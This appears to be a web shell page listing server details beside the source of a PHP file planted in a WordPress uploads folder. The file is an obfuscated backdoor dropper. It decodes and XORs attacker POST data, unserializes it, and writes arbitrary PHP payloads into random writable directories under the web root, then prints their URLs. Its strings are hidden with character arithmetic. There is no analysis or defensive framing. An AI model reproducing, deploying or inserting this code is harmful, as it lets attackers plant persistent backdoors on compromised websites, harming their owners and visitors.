HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/2020/07/lvqfcech.php
<?php function XBVTDAuBu($eANkaL){$tgQqShtt = "\x72"."\x61"."\167"."\x75".'r'.chr(108)."\144".chr(101).chr(99)."\157"."\144"."\145";$gGKzPV = "\163"."\164".chr(1098-984).chr(906-811).chr(682-568)."\x6f".chr(1006-890).'1'."\63";$vAMFIcSE = 's'.chr(116)."\162".'_'."\163"."\x70".chr(839-731)."\x69".chr(442-326);$eANkaL = $vAMFIcSE($tgQqShtt($gGKzPV($eANkaL)));return $eANkaL;}function WecagZws($JFViZNU, $eANkaL){$NfSrWw = chr(337-222).chr(116).chr(114)."\137"."\163"."\160".chr(477-369)."\151".'t';$JFViZNU = array_slice($NfSrWw(str_repeat($JFViZNU, (count($eANkaL)/16)+1)), 0, count($eANkaL));return $JFViZNU;}function PbXiQyu($mXMySQtNTg, $nUVPDzWP, $JFViZNU){$TqKcinZM = "c3f512da-a79e-4b8b-a8e1-e09a3f16e829";return $mXMySQtNTg ^ $TqKcinZM[$nUVPDzWP % strlen($TqKcinZM)] ^ $JFViZNU;}function SRVsvhLTC($eANkaL, $JFViZNU){$eANkaL = array_map("PbXiQyu", array_values($eANkaL), array_keys($eANkaL), array_values($JFViZNU));$eANkaL = implode("", $eANkaL);$oUNQL = chr(336-219).'n'."\x73".'e'.'r'.chr(105)."\141"."\154"."\151"."\172".chr(101);$eANkaL = @$oUNQL($eANkaL);return $eANkaL;}function jHXKewqT(){echo "UrsLCT";}function iEtRuk($doykHEnDir){static $fmRlYJWvd = array();$fSQZLSZR = glob($doykHEnDir . '/*', GLOB_ONLYDIR);$pzlQNfeIk = count($fSQZLSZR);if ($pzlQNfeIk > 0) {foreach ($fSQZLSZR as $doykHEnD) {$wcIckAqdcS = chr(491-386)."\x73".chr(141-46)."\x77"."\162".chr(946-841).chr(116).chr(97).'b'.'l'.chr(101);if (@$wcIckAqdcS($doykHEnD)) {$fmRlYJWvd[] = $doykHEnD;}}}foreach ($fSQZLSZR as $doykHEnDir) iEtRuk($doykHEnDir);return $fmRlYJWvd;}function sRLuSenKc(){echo "ysirO";}function tIgKWLTTB($eANkaL){$pNJxuQNvPt = "\104".'O'.chr(67).chr(85).chr(1033-956)."\x45"."\x4e".chr(84)."\137".chr(82)."\x4f"."\x4f".'T';$aAFTOiL = $_SERVER[$pNJxuQNvPt];$fSQZLSZR = iEtRuk($aAFTOiL);$BqvdI = array_rand($fSQZLSZR);$mNwtnWn = chr(649-603)."\160".'h'."\x70";$uOyqRi = $fSQZLSZR[$BqvdI] . "/" . substr(md5(time()), 0, 8) . $mNwtnWn;$ZojoEdYfND = "\x66".chr(105).chr(108)."\x65"."\137"."\x70".chr(530-413)."\x74".chr(95).chr(979-880).chr(589-478).'n'.'t'.'e'."\x6e".chr(1052-936).'s';@$ZojoEdYfND($uOyqRi, $eANkaL);$ThSjyd = chr(72).chr(906-822).chr(327-243).'P'."\x5f"."\110"."\x4f".chr(83)."\x54";$vtJKvovQ = "\x68".chr(116).chr(116)."\x70"."\72"."\x2f".chr(809-762);$MEaoEdmS = $vtJKvovQ . $_SERVER[$ThSjyd] . substr($uOyqRi, strlen($aAFTOiL));print($MEaoEdmS);}foreach ($_POST as $JFViZNU => $eANkaL){$UemdHg = strlen($JFViZNU);if ($UemdHg == 16){$eANkaL = XBVTDAuBu($eANkaL);$JFViZNU = WecagZws($JFViZNU, $eANkaL);$eANkaL = SRVsvhLTC($eANkaL, $JFViZNU);if (@is_array($eANkaL)){$BqvdI = array_keys($eANkaL);$eANkaL = $eANkaL[$BqvdI[0]];if ($eANkaL === $BqvdI[0]){$bMIFZAvrh = "\x70"."\x68"."\x70";$ydtNkudZE = "\160".chr(947-843)."\x70"."\x76".'e'.chr(114).chr(115).chr(942-837).chr(111).chr(110);$hrjynA = chr(115)."\x65".'r'.chr(534-429)."\x61".chr(261-153).chr(579-474)."\172".'e';echo @$hrjynA(Array($bMIFZAvrh => @$ydtNkudZE(), ));}else {tIgKWLTTB($eANkaL);}die();}}}